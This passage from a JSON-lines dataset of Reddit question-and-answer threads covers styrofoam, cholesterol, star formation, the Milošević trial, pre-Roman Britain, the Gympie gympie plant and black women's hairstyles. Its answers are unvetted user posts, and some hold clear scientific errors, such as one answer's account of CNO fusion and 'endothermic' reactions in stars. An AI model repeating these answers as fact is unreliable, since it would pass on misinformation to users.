nuclear bombs.  Therefore it is constantly creating more heat for all the heat that it is spreading throughout the solar system.\n\nAs for how the heat is spread, space is basically a vaccuum which means there aren't molecules in it which can vibrate.  Therefore heat is spread by radiation which includes the light we can see as well as other frequencies (UV = ultra violet radiation might sound familiar from sunscreen).\n\nSince the nuclear reaction can't go on forever (eventually the fuel will run out) the Sun as it functions now has a limited lifetime of about 5 billion more years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3sngas", "title": "if it is known that styrofoam cups leech dangerous chemicals when hot liquid is in them, why are coffee companies, like dunkin donuts, allowed to use them for hot coffee still?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sngas/eli5_if_it_is_known_that_styrofoam_cups_leech/", "answers": {"a_id": ["cwysj93", "cwyy628", "cwyyjjp"], "score": [344, 4, 8], "text": ["The amount of styrene that moves from a styrofoam cup to your coffee is too small to matter.  We're talking parts per billion.\n\nLethal dose isn't the only thing that matters, but just for fun, you need to ingest about 2.6 grams of styrene per kg of body weight to have a 50% chance of dying.  Hot milk placed in a styrofoam cup takes on about 8 micrograms of styrene per liter.\n\nIn order to get the 176 grams of styrene it would require to for a 150 lb person to have a good chance of dying they'd have to drink about 22 million liters of hot beverage from a styrofoam cup.\n\nIf that beverage is coffee, you're dead at 10 liters because caffeine is more poisonous and in at a much higher concentration.\n\nThe dose makes the poison, everything is a dangerous chemical.\n\n", "why is anybody allowed to use Styrofoam anymore? isn't it like the least biodegradable thing on earth? we gonna have islands made of that shit in a couple of years ", "I don't know why I'm suddenly noticing this error all over reddit, but \"leeching\" is basically just animal-assisted bloodletting. You're thinking of [leaching](_URL_0_), \"the loss or extraction of certain materials from a carrier into a liquid.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Leaching"]]}
{"q_id": "a9f8py", "title": "If you donate blood with low levels of cholestorol into a body with previously high levels of cholesterol, would there be any discernible effects?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a9f8py/if_you_donate_blood_with_low_levels_of/", "answers": {"a_id": ["ecj5gnr"], "score": [31], "text": ["It depends on the amount of blood given and amount in the body.\n\nSay you have 4 pints of blood with HDLs at 100.  Add in 1 pint with HDLs at 20,you wind up with an end point of 5 pints with HDLs at 84.  So, in that case you'd see a drop in HDL levels.\n\nHowever, various lipoprotein levels are primarily influenced by diet and activity, so after the initial change, lipoprotein levels would drift back to baseline unless significant lifestyle changes also occur. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b0uafz", "title": "When a star is being formed, how big is it physically right before nuclear fusion occurs?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b0uafz/when_a_star_is_being_formed_how_big_is_it/", "answers": {"a_id": ["eih8di6", "eihgbex"], "score": [6, 23], "text": ["Well. It all depends honestly.\n\n\nDifferent types of stars that use different elements to spark Fusion do so at different sizes, densities, masses.\n\nThe two forms of Solar Fusion are Proton-Proton chain reaction, like our own sun, that uses a chain reaction of molecules between helium and hydrogen fusing to start a cascade endothermic reaction.\n\nThe other is know as CNO Fusion, where the star fuses Carbon-Nitrogen-Oxygen to create excess fusible hydrogen, sparking fusion. This happens in Stars about 1.3 times larger than ours and up.\n\n\nThe molecular makeup of a star overall decides the time fusion starts, it needs to  reach a temp of around 15 million Kelvin before the conditions are set for nuclear reactions, and that milestone can differ from star to star", "**TL;DR: Stars tend to have already gathered their mass before fusion starts. The range is probably  > 0.07, but  < 150 solar masses.**\n\nStars go through two stages before fusion starts:\n\n**Protostar stage**. A star gathers mass from the surrounding interstellar dust and gas.\n\n**Pre-main sequence star**. The star collapses under its own gravitation. The amount of mass it gathered as a protostar determines how quickly it happens. If it's 15x the mass of the Sun, it takes about 100,000 years. If it's 1x solar masses, it takes about 50 million years.\n\n**Main sequence star**. The star has collapsed to the point where intense pressure in its core forces hydrogen atoms together, and nuclear fusion comes online.\n\nThe smallest main sequence star that's been observed is OGLE-TR-122b, a red dwarf. It is only about [0.12x the size of the Sun](_URL_2_) with 0.1x solar masses.\n\nThe theoretical minimum could be as low as 0.07x solar masses, but it would take a really long time to get going.\n\nThe largest observed star is VY Canis Majoris, which is [1420x larger than the Sun](_URL_1_) with 23x its mass.\n\nThe theoretical maximum is probably about [150 solar masses](_URL_3_).\n\nThis process is the origin of all elements other than hydrogen and helium, which means that the majority of atoms in our bodies lived through this process of fusion within stars, which is pretty cool:\n\n > [The nitrogen in our DNA, the calcium in our teeth, the iron in our blood, the carbon in our apple pies were made in the interiors of collapsing stars. We are made of starstuff.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://ideas.discover.earth/origins-of-atoms/?utm_source=reddit&amp;utm_medium=social&amp;utm_campaign=questions", "https://www.universetoday.com/wp-content/uploads/2008/04/vycanis.png", "https://www.universetoday.com/wp-content/uploads/2009/02/ogletr122b.jpg", "https://www.space.com/858-study-stars-size-limit.html"]]}
{"q_id": "b6f7ky", "title": "How guilty was Slobodan Milo\u0161evi\u0107?", "selftext": "I would like to understand how guilty Slobodan was in commiting genocide. Like is there direct evidence that makes him guilty? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b6f7ky/how_guilty_was_slobodan_milo\u0161evi\u0107/", "answers": {"a_id": ["ejlkolx"], "score": [4], "text": ["TL;DR version: Milo\u0161evi\u0107 knew exactly what the Serbian Nationalist paramilitary groups were doing and he supported them because he wanted to create a \"Greater Serbia\" for ethnic Serbians. Testimony from key figures, documentary evidence, and intercepted phone calls established his motive of \"Greater Serbia\" and tied him to the groups that committed genocide to achieve it.\n\n   \n \n\nFull Answer: The key to Milo\u0161evi\u0107's guilt was his desire to create a \"Greater Serbia' out of the ruins of Yugoslavia. This key idea was used to establish his motive throughout the three main genocidal conflicts throughout the 1990s in Croatia, Bosnia, and Serbia and to tie him directly to the Serbian paramilitary groups that carried out the atrocities. Several damning pieces of evidence proved that Milo\u0161evi\u0107 was connected to those groups and knew what they were doing, and that their actions fit in with his plan for a Greater Serbia. I'll give you a rundown of some of the key evidence used to indict him over the three conflicts.\n\nThe indictment for the Croatian conflict was based on testimony from key witnesses establishing Milo\u0161evi\u0107's designs on Croatia and the genocidal actions of the Serbian paramilitary groups. Witnesses such as Borislav Jovic, a former colleague of Milo\u0161evi\u0107 , testified that Milo\u0161evi\u0107 had told him that any cessation of Croatia as a republic was to be done in such a way that key areas would remain in Serbia. Furthermore, aide to the Croatian President, Hrvoje Sarinic, testified that he had had conversations with Milo\u0161evi\u0107 in which Milo\u0161evi\u0107 made clear to him that there were going to be annexations of Croatian territory as a result of the war. This set out Milo\u0161evi\u0107's broader motive of \"Greater Serbia\" and began tying him to the later atrocities.\n\nThe testimony of Milan Babic tied Milo\u0161evi\u0107 more directly to the actions of the paramilitary groups and their atrocities at Vukovar and other areas throughout the Croatian war. Babic was a Serb nationalist living in Croatia who was involved in the Serbian Nationalist agitations against the Croatian government which led to Serbia becoming involved. Babic testified that Milo\u0161evi\u0107 exercised control over such groups and encouraged them. These groups were involved in numerous genocidal atrocities for the purposes of ethnic cleansing, again tied to Milo\u0161evi\u0107's desire to create a greater Serbia. As the trial emerged, more and more evidence tied Milo\u0161evi\u0107 to these groups, establishing his motive for ethnic cleansing and his complicity in the atrocities.\n\nThe most damning piece of evidence was a video of Milo\u0161evi\u0107 visiting a paramilitary camp in 1997 which revealed his knowledge and complicity in the conflict. Known as the JSO Kula Camp Video, it shows Milo\u0161evi\u0107 visiting a camp run by a paramilitary group known as the \"Red Berets\", who committed atrocities in Croatia, Bosnia, and Kosovo. In the video he is seen being thanked for establishing the group, and it is also clear through other conversations on camera that he had knowledge of their operations. Previous testimony had established his desire for a Greater Serbia, and this video directly tied him to the paramilitary groups who committed genocide to achieve it.\n\nBosnia was the worst of the three conflicts in terms of the genocide and there's plenty of evidence tying Milo\u0161evi\u0107 to his motive and his complicity with the actions of the paramilitaries and Serbian military. Firstly, Radovan Karadic, a Bosnian-Serb, politician sought to create ethnic divisions between Serbs and non-Serbs. Milo\u0161evi\u0107 supported this plan, again tying him to the motive of Greater Serbia. This was established through intercepts obtained by Bosnian forces, mainly phone conversations between Milo\u0161evi\u0107 and Karadzic. Then there was the organisation known as the Supreme Defense Council, headed by Milo\u0161evi\u0107 , which kept meticulous records and proved Milo\u0161evi\u0107's motive and complicity. One example of many was a meeting from 25 August 1995 in which Milo\u0161evi\u0107 said \"...if the Muslims refuse the peace solution they will be told that they are to be left alone with the Sword of Damocles hanging over them in the form of General Mladic.\" Here, he clearly knew what the Serbian military was doing and it was tied to his broader motive of creating \"Greater Serbia.\"\n\nThe evidence for the final conflict in Kosovo tied Milo\u0161evi\u0107's motive and complicity together. There were numerous examples of atrocities committed by Serbian forces and that Milo\u0161evi\u0107 knew about it. Lord Paddy Ashdown was an observer on the Albania-Kosovo border during the conflict and he testified that he saw Serbian forces shelling civilians, providing further evidence of the ethnic cleansing campaign. Journalist Jacky Rowland was a witness to the aftermath of atrocities committed at Dubrava prison in which Albanian POWs were massacred as part of the ethnic cleansing campaign. Finally, tying Milo\u0161evi\u0107 to these atrocities and proving his complicity, was in 1999 a refrigerator truck containing bodies from the Kosovo atrocities was found in the Danube River. A minute in the diary of Obrad Stevanovic contained the line \"No corpse-no crime.\" It was established during the trial that the minute was of a conversation with Milo\u0161evi\u0107, proving his complicity in the genocide.\n\nAs the chief prosecutor, Geoffrey Nice QC put it, the case against Milo\u0161evi\u0107 boiled down to two main questions: what did Milo\u0161evi\u0107's men do during the conflicts and what was Milo\u0161evi\u0107's state of mind? Serbian nationalist forces committed genocide in Croatia, Bosnia, and Kosovo and Milo\u0161evi\u0107 not only knew about it, but he actively supported it because of his goal of creating a \"Greater Serbia.\" \n\nI hope this helps you understand the case against Milo\u0161evi\u0107. Obviously, I had to leave out a lot of evidence for brevity as I was trying to summarize 5 years worth of legal proceedings at the Hague. Here's a brief source list if you're interested in looking into the case further:\n\n\u2013Chief Prosecutor Geoffrey Nice's Lecture at Gresham College (2012):  [_URL_0_](_URL_0_)   \n\u2013*ICTY: The Kosovo Case, 1998-1999: How the Crimes in Kosovo Were Investigated, Reconstructed and Prosecuted:*  [_URL_1_](_URL_1_)   \n\u2013Human Rights Watch, *Under Orders: War Crimes in Kosovo,* (2001):  [_URL_2_](_URL_3_) \n\n & #x200B;\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=19lktnZkkiY", "https://kosovo.sense-agency.com/", "https://www.hrw.org/sites/default/files/reports/Under\\_Orders\\_En\\_Combined.pdf", "https://www.hrw.org/sites/default/files/reports/Under_Orders_En_Combined.pdf"]]}
{"q_id": "2mlkbv", "title": "how do porcupines mate with each other?", "selftext": "Don't their quills poke each other?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mlkbv/eli5_how_do_porcupines_mate_with_each_other/", "answers": {"a_id": ["cm5d8cd"], "score": [5], "text": ["[When a man porcupine loves a woman porcupine very much and is willing to be very careful...](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=Go2Ccw1G25o"]]}
{"q_id": "1edjo3", "title": "What do we know of government and leadership in Pre-Roman Britain?", "selftext": "I have zero to no knowledge of the ancient world really. However, you tend to hear very little in popular history about leadership and ruling in Northern Europe before the influence of the Roman Empire. Do we know of any instances of this in the British Isles, or merely that Celtic tribes roamed the lands? Was there any level of organisation?\n\nPlease enlighten me!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1edjo3/what_do_we_know_of_government_and_leadership_in/", "answers": {"a_id": ["c9z7osm"], "score": [10], "text": ["Celtic speakers were not (to my knowledge) nomadic in any way. The Britons, Gauls and Irish were all sedentary agriculturalists and pastoralists living in kin groups and relatively hierarchical societies. \n\n\nMuch like the Irish, Gauls and other descendants of the Halstatt culture, Britons were led by a warrior-nobility who lived in impressive [hillforts](_URL_0_), sometimes built on the remains of earlier Neolithic fortifications. The druids were present in Britain as well, who according to Caesar actually originated there. They were made up of the nobility and were allegedly the supreme ruling power in 'Celtic' society who practiced all kinds of human sacrifice, though this notion may be pure propaganda and falsehood repeated by various classical writers. The human sacrifice trope appears to have originated in an ethnography written by Posidonius (who never really visited Gaul) which was used as a main source by most subsequent writers, including Caesar. \n\nSo the main ruling powers in British society would have been held between this warrior-aristocracy and the druidic caste, and the majority of the population would have lived in the countryside, committed to agriculture. Caesar provides us with a description of the economy and makeup of pre-Roman Britain:\n\n > The number of the people is countless, and their buildings exceedingly numerous, for the most part very like those of the Gauls: the number of cattle is great. They use either brass or iron rings, determined at a certain weight, as their money. Tin is produced in the midland regions; in the maritime, iron; but the quantity of it is small: they employ brass, which is imported. There, as in Gaul, is timber of every description, except beech and fir. They do not regard it lawful to eat the hare, and the cock, and the goose; they, however, breed them for amusement and pleasure. The climate is more temperate than in Gaul, the colds being less severe.\n\nCaesar's impression of the Britons is that they were essentially similar to the Gauls, that they did not \"differ much from the Gallic customs\". There was intensive trade that went on between the two regions, which was concentrated in Kent. \n\nIt should be noted that Britain was mostly a geographical expression in the ancient world. It was primarily inhabited by P-Celtic speakers (which lives on in modern Welsh, Breton and Cornish) but there was considerable traffic and settlement overseas. The Gallic and maybe Germanic *Belgae* lived in south-west England before the Roman conquest, having started out as raiders before setting up permanent settlements. Similarly, several Irish kingdoms sprung up in Wales, Cornwall and Scotland during the early medieval period. It is also possible that some Britons lived in north-western Ulster during antiquity and the early medieval period; a group called the *Cruithin* were a dynastic power there until the 8th century. The name is probably a Q-Celtic corruption of *Pritani* or *Britani*, and is also the name used by Irish annalists to describe the British Picts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/9/97/Aerial_photograph_of_Maiden_Castle%2C_1935.jpg"]]}
{"q_id": "48by4r", "title": "when did the 'hard work pays off' mentality become less and less realistic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48by4r/eli5_when_did_the_hard_work_pays_off_mentality/", "answers": {"a_id": ["d0iekge"], "score": [2], "text": ["It isn't less realistic.\n\nAssuming that \"hard work pays off\" is closely related to social mobility, [this article](_URL_0_) shows that there is no less social mobility (in America, at least) than there was a generation ago.\n\nOf course, it could be argued that \"hard work pays off\" and social mobility aren't the same thing, in which case that article isn't relevant.... but I'd argue that they are very closely related. \"Hard work pays off\" suggests that regardless of what you started off with, if you work hard you will get more. And in getting more, you will become socially mobile. So I think this is a fair way of answering your question, but others might not agree."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.economist.com/news/united-states/21595437-america-no-less-socially-mobile-it-was-generation-ago-mobility-measured"]]}
{"q_id": "9luwz3", "title": "The Gympie Gympie plant (link in comment) can cause pain that lasts years. How does it do this, wouldn't toxins be flushed from your system by then ?", "selftext": "[Gympie Gympie](_URL_0_) stings last an awful long time, with reports saying even after years you can still experience pain. How does this work ?\n\nI was tempted to put this in ELI5, but I'm good with the scientific explanation as it gives me something to deep-dive into Wikipedia to kill a few hours.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9luwz3/the_gympie_gympie_plant_link_in_comment_can_cause/", "answers": {"a_id": ["e79n0zk", "e79pjy1", "e79syjp", "e7b3gs1", "e7b4sfu", "e7b869b", "e7bc5rl", "e7bkdl2", "e7bm21a"], "score": [187, 2360, 419, 3, 13, 7, 11, 3, 4], "text": [" > The primary source of the pain caused by D. moroides\rstings was originally thought to be formic acid; however,\rit is present in too low a concentration. It has been\rfound that histamine, acetylcholine and serotonin\rcause inflammation and pain, and tartaric acid and\roxalic acid have been linked with the extended pain\rduration. \n\nHistamine causes itch and inflammation, acetylcholine and serotonin exacerbate this effect, and the hairs also contain two acids responsible for long term pain. \n\nThe plant also contains the toxic compound is Moroidin, it attacks the microtubules of nerve fibers, though this is from Wikipedia so might not be reliable, and I suspect the compound is stored inside the plant's tissue and isn't in the stinging hairs. Though it might explain symptoms that last months or years in severe cases of exposure, that involved sap from broken leaves, stems... \n\n > Other anti-tubulin agents used as chemotherapy agents have painful side effects known as\u00a0neuropathy\u00a0when the drugs are exposed to tissue. Although the exact mechanism for the cause of neuropathy is unknown, it is thought to be related to the degradation of microtubules, which are essential components of\u00a0neurons.\n\nSo the theory is like this - Imagine nerve fibers are like electrical cables, Moroidin strips the plastic (microtubules) off the cables, leaving bear wires. Recovery depends on your body repairing damaged nerves, which is a slow process. In the mean time, exposed skin becomes extremely sensitive to cold water and weather.\n\nRefs.:\n\nFu H Y, Chen S J, Chen R F et al.\r\nIdentification of oxalic acid and tartaric acid\ras major persistent pain-inducing toxins in\rthe stinging hairs of the nettle, Urtica\rthunbergiana. \n\nAnn Bot 2006: 98: 57\u201365.\r6 Batty H. 12th March 2010. Stinging Trees -\r\nand a NEW treatment for stings. Available\r\nat: _URL_2_\r\n._URL_0_\r\nnew-treatment-for.html\n\n_URL_1_", "Dr Marina Hurley, an expert in Dendrocnide moroides, wrote an article about this topic just last week - _URL_0_\n\nApparently you don\u2019t even need to touch the plant to be affected. Just being in close proximity can cause respiratory impacts. \n\nI\u2019ve seen this plant in the rainforest before. It\u2019s looks so innocuous! I\u2019m very glad I knew what I was looking at.", "I can tell you how pain works; how this plant, and nettles in general cause pain is not totally clear to me.\n\nThe ability to perceive pain (or any sensation -- sight, hearing) depends on sensors.Another word for sensor is transducer: something that converts one kind of information into another.   Any device that runs off a computer (your car, your brain) needs digital information.  In other words electronic information.  So your car has oxygen sensors that convert oxygen percent into an electrical signal.   Your computer has thermometers that convert temperature into electrical signals.  Your body has transducers that convert mechanical pressure, temperature, or I dunno proton concentration (acid) into electrical signals.  When the brain gets a call on one of those lines, it means pain.\n\nYour nervous system has several sensors on the skin.  Different transducers handle sharp pain, burning pain, temperature, pressure, and others.\n\nTransducers have a property called \"gain,\" meaning, you can adjust whether a signal is amplified or suppressed based on a given input.  Your motorcycle has a throttle position sensor; if the bike seems sluggish you can up the gain, so a given twist of the wrist can make the bike really take off.   Your body can also adjust the gain of its pain sensors.  If I poke you with a pin, you might shrug it off, you might say \"ow,\" or you might jump out of your seat.  All depends on the gain.\n\nWhen you get stung by something, there could be a couple of different things going on.  Odds are, there's something in the mix that directly stimulates pain receptors.  I suspect that's what the formic acid in bee stings does, it triggers and fires the burning-pain receptors (which are as sensitive to acid as they are to fire).  Some toxins trigger the gain mechanism too.  For example they might cause the release of chemicals like histamine that amp up the gain.  There's a detailed discussion of gain in the reference articles below; it's complicated.  Suffice to say, any decent toxin will cause pain directly, and also increase the gain of transducers to give it a little extra punch.\\*\n\nIn addition, the body has an adaptive response to certain kinds of injury that can cause pain to change over time.  Some patients with chronic pain note, among other things, that the transducers get mixed up.  So that light touch, for example, can result in pain (a phenomenon called \"allodynia\").  It seems weird that this can happen.  It would be like if your car's thermometer display all of a sudden started telling you what your engine RPM was.   Just remember, all this information is fed into a computer.  Your spinal cord is a simple computer; your thalamus (which is the pain relay station in your brain) is a more complex computer, and your cortex (your conscious mind) is a very complicated computer.  Anything can happen.\n\nSo a particularly cruel and nasty toxin might do three things:\n\n1. Directly stimulate pain receptors; cause those receptors to trigger, or fire (in the reference articles, \"depolarization\" means the receptor is firing)\n2. Sensitize the receptor (upping the gain through various mechanisms)\n3. Damage the nervous system, which can result in chronic pain due to compensatory changes in the cord or brain\n\nThe reason why chilli peppers aren't cruel and nasty is because, while it hurts the first time, over time it causes changes in the nervous system that actually reduce your sensitivity to pain.  Amazingly, in some patients you can use chilli peppers to treat pain that was caused by the sort of nerve damage you see in diabetics for example.\n\nEven the gympie gympie plant might have a silver lining.  There could be a cure for cancer lurking in that sucker.  (Whether or not it can cause chronic pain, I dunno.  I'll believe it when I see it.  But, like I said, once you get to the level of human consciousness, anything can happen I suppose.)\n\n & #x200B;\n\n[On capsaicin](_URL_1_)\n\n[General overview](_URL_0_)\n\n\\*Note to Honda engineers, who think a hair-trigger TPS is a good thing:  it's not!  You don't want a 189-horsepower bike to \"really take off.\"", "The property of plants are fascinating. This reminds me of a similar long term condition that certain plants can cause known as phytophotodermatitis. This is a burn caused by the increased sensitivity to sunlight when exposed to the sap.\n\n_URL_0_", "Didn't a scientist in Australia wipe his butt with one of these poison plant trees and then comitted suicide because it was unbearable.\n\n_URL_0_", "Grew up in Gympie Queensland and never seen the plant in the wild. On a school excursion to the botanical gardens in Brisbane they showed us the plant and the speaker even touched the top of the leaf with his bare hand saying the tiny thorns were only under the leaf and on the stem. Speaker also told a horror story of how early settlers mixed up the plant with wild tobacco and used it for primitive toilet paper.... Ouch!", "Looks to me like this is as-yet unknown, but that a big contributor to the sting's painfulness is [moroidin](_URL_1_). This chemical has an very unusual, complex structure.\n\nThe mechanism through which moroidin causes a pain response isn't known. One thing that is known is that moroidin inhibits microtubule polymerization. [Microtubules](_URL_0_) are structures in cells that perform a number of important tasks. In neurons, microtubules are especially important, playing a key role in [information transmission](_URL_2_). So the best theory we have right now is that moroidin somehow degrades the microtubules in the neurons, causing nerve damage and associated long-lasting pain.\n\nside note: microtubules are also a key component in cell division, so a moroidin derivative that inhibits cell division without causing nerve pain/damage would be a fantastic chemotherapy drug. This is the topic of some research", "I\u2019ve been stung by Gympie gympie three times. \n\nIt is instant and excruciating. The pain is lessened significantly if you can get the fine needles out with a wax strip within a few minutes. A good cream with an anesthetic in it helps a lot too. The pain (which lessens over time) was triggered by cooler temperatures on and around the site for about three months after. \n\nIn one instance, I did not see the plant, but an instantaneous flush of pain in my cheeks and up the back of my neck told me I had just brushed against one. Within a few seconds the searing pain began. \n\nIn another instance, my pants brushed the plant and when sitting down to eat lunch about 10 mins later I must have brushed against my pants and the needles transferred to my skin. \n\nUnnecessarily evil stuff it is! \n\nEdit: I\u2019ve also been stung by something very similar in Rwanda while hiking to Diane Fossey\u2019s research station. Massive welts all over my arm and instant excruciating pain. The guides knew exactly the right milky sap from another nearby plant to apply, and it took away the pain straight away. I am unaware of any such remedy to go with Gympie gympie. ", "Legitimate question-  \nCould the process for laser tattoo removal be utilized to breakdown and remove the hairs faster?  \nHas anyone ever tried?  \nSince the laser rapidly super heats the particales of ink that normally can't be broken down and removed by the body, causing them to fissure and break into smaller bits, thus being removed over time and with multiple(and painful) treatments.. Wouldn't it stand to reason the same situation of particles(i.e.- the hairs) being embedded in the skin could be broken down by the same process?  \nI imagine that the relatively immediate pain would be worth it to remove the overall effect of gratuitous vs the slow and natural process over potentially years.."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Dendrocnide_moroides"], "answers_urls": [["com.au/2010/03/stinging-trees-and-", "https://en.wikipedia.org/wiki/Moroidin", "http://capetribresearchstation.blogspot"], ["http://theconversation.com/the-worst-kind-of-pain-you-can-imagine-what-its-like-to-be-stung-by-a-stinging-tree-103220"], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5205568/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3462993/"], ["https://en.m.wikipedia.org/wiki/Heracleum_mantegazzianum"], ["https://redditblog.com/2015/11/14/touching-the-gympie-gympie-plant-will-make-you-feel-like-youre-being-electrocuted/"], [], ["https://en.wikipedia.org/wiki/Microtubule", "https://en.wikipedia.org/wiki/Moroidin", "https://onlinelibrary.wiley.com/doi/pdf/10.1111/jnc.12621"], [], []]}
{"q_id": "1ip4pq", "title": "why do so many black women have hair weaves or wear wigs?", "selftext": "I'm white. I'm a man. I'm confused. Somebody help! Please and thank you.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ip4pq/eli5_why_do_so_many_black_women_have_hair_weaves/", "answers": {"a_id": ["cb6obl3", "cb6s2yb", "cb6sna9", "cb6vmie", "cb6w6li"], "score": [96, 4, 5, 5, 4], "text": ["Because they're told from the time they're born that their own hair is ugly and messy and difficult.  This starts from their own mothers/grandmothers and aunts talking about \"good hair\" meaning less tightly curled afro hair and from then to school teachers telling them the same thing.  Every image they ever see of beauty after that is long flowing straight Eurasian hair.  All their lives.   I don't know where we went wrong to tell the truth.  Back in the 70s black pride was a thing and people wore those big afros and afro puffs happily.  I look back at my parents old youth pictures and see all these normalised afro hairstyles, locks and fros and plaits and so on.  I look around me now and see pressed hair, wigs and weaves like we somehow went back 50 years in mentality.  I'm confused about what happened between the time of their youth and mine.\n\nOh you'll hear some justifications and bullshit like \"it's easier to manage\" and it's quick and so on.  But that's because they don't like to admit the  embarrassing truth that they're embarrassed by the hair that comes out of their own heads.  It's also not consciously thought out.  Very few people say to themselves that they don't like their afro hair.  They wouldn't even agree that that was so.  But that's what it is deep down. Western society hates the black afro hair and natural styles.  This is a legacy of slavery and the hatreds inbred into both white and black people that permeate our beliefs to this day.  Nappy headed hos.  Remember that?   \n\nYoung white kids today talk about slavery as if it were just people owning people and compare it to the slaverys that existed all over the world at various times.  But that goes without understanding the unique racial nature of slavery in the Americas.  The systematic breakdown of the african mentality and sense of identity.  To reduce a people to thinking of themselves as subhuman and ugly, sinful.  To see all aspects of themselves as negatives took a long time.  And many generations.  Black people internalised a lot of that.  Colour gradations being linked with betterness even within black communities for example.  You show pictures of black africans now to young black americans and they still to this day recoil in distaste at the \"otherness\" of people who look just like them.  These mental shackles took a long time to put in place and they'll take an even longer time to get rid of.  When Bob Marley said \"Emancipate yourself from mental slavery\" that's the sort of thing he was talking about.  Black people are technically legally free from slavery, but mentally there is work to do.  Particularly in terms of how black people view black people.  And our hair is just one of those things.\n\nThe ironic thing is that nowadays the pressure to confirm to the straight hair comes from black people themselves rather than white ones. Then when these women get to adulthood and get into work, other black women tell them that those with natural hair styles are less professional.  Militant. Rebellious.  All kinds of negative words just for their own hairstyles.  The pressure to comply and go with the straight haired bandwagon is incredibly strong.  Another black woman will tell a girl with natural hair \"oooh do you think that's appropriate here at a *law firm?* or insert any other professional place.  As if that afro, kinky, natural style doesn't belong in some places.\n\nThe problem is that black men are socialised right next to them and with them.  So their idea of beauty is shaped the same way.  To view women with their own afro hair as less attractive.  Black men want that long flowing Eurasian hair on their women too.  I'm a black man who prefers natural hair as you could probably tell.  I don't like weaves and wigs and the aesthetic of that hair.  Unfortunately most black women I see come like that so I can't go ruling out a large segment of potentials just because of that, even though I don't like it but there it is.  When you look at what it actually is, Koreans and Pakistanis selling the hair of Indian street peasants to black western women to make them less embarrassed about looking black... it's really stupid.  \n\nOkay that's not quite as if you were five... but you should get it anyway.\n\nTL;DR since slavery times afro curly hair has been stigmatised as ugly and unacceptable.  ", ":/ I wish it weren't considered more attractive or professional for blacks to have European hair. I love the natural styles.", "The teasing began in grade school for me about my natural hair. Being mixed, my hair does grow very long without the need of many products. Caucasian, Asian and Latino kids would constantly tease me about my curls. I wanted to look like the girls on TV and magazines. Even black women had straight hair. It made me believe that mine really wasnt acceptable or normal. I really believed I was nappy headed when looking back, my hair was beautiful.  By the time I was 14, I decided to go behind my mothers back and do something about it. I relaxed it, flat ironed it and cut it. I stopped getting made fun of so much and began to fit in better.  After years of abusing my hair, I had to continue to cut it, relax it and straighten it. Suddenly it stopped growing out as beautifully. When I turned 21, I decided I needed a weave to take stress of relaxers and chemicals off of it for a while. I did that until it grew out naturally. Now I appreciate my hair and wear it naturally every day. Not everyone's story is like mine as many black women are taught their hair is \"bad\" from the start of life instead of I guess, realizing it on their own like I did. ", "I grew up with natural hair until I was about 6 or 7 years old and it was challenging as a kid to be so noticeably different from my peers. Even now in a time when information is so accessible, it's STILL hard to find good information on how to care for different types of black hair. Twenty years ago it must have been MUCH harder for my mother (who had relaxed hair and weaves/wigs). My hair was huge and frizzy and seemingly impossible to tame. Every week included hours of hot-combing, braiding, corn rowing, scalp scratching, moisturizing, washing...\n\nEveryone considered my sisters' and my own hair to be difficult to manage, and so we got it chemically straightened so it would be easier to work with. If you had asked me why I straightened my hair (which was already an embarrassing issue to discuss with my exclusively white community) I would tell you (and mostly believe) that it was for the sake of ease. A small part of me recognized it was also out of a desire to fit into a stereotype of white beauty. Nobody really shamed my hair, but it was very othering.\n\nThe thing is, it's not easy to be a person of colour. It's not easy to be a minority and automatically separated from the people you see around you and celebrated in the media. Nobody needs to outright say that: you already know and everyone else does too. That goes for hair and everything else as well.\n\nI recently cut off all of my hair and gone natural and it turns out that my authentic black hair is NOT harder to manage now that it's curly. I will even argue that dealing with the damage of using chemical products on my hair was harder to cope with. Having the right resources and information available makes managing my hair a breeze and I don't think that it's more of an issue to deal with than say: a white person with thin, flyaway hair; or thick heavy hair; or oily hair; or dandruff... The emotional weight of natural hair is significant though.\n\nBlack women wear weaves and wigs because its easier than hunting for information on how to care for their hair that is NOT easily accessible, because their natural hair is stigmatized, and because years of processing, weaving and wearing wigs damages their scalp.", "A lot of the people in this thread are either responding with answers to complicated for a five year old, giving personal anecdotes or going on tangents. I'll try to explain more simply.\n\nOP, I want you to think about a girl with beautiful hair. Just picture a girl with beautiful hair inside your head. Done? Ok.\n\nNow let me guess: it's probably a white woman with flowing straight or only slightly curled hair. This image that your mind used to represent \"beautiful hair\" is the same one that comes to many black women's minds when they think about \"beautiful hair\". So naturally they want to be beautiful too, but they don't have the type of hair necessary to achieve this \"beauty\". In order to compensate, they adopt hairstyles that are the closest to their (and your) idea of beautiful hair. I hope that explains it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
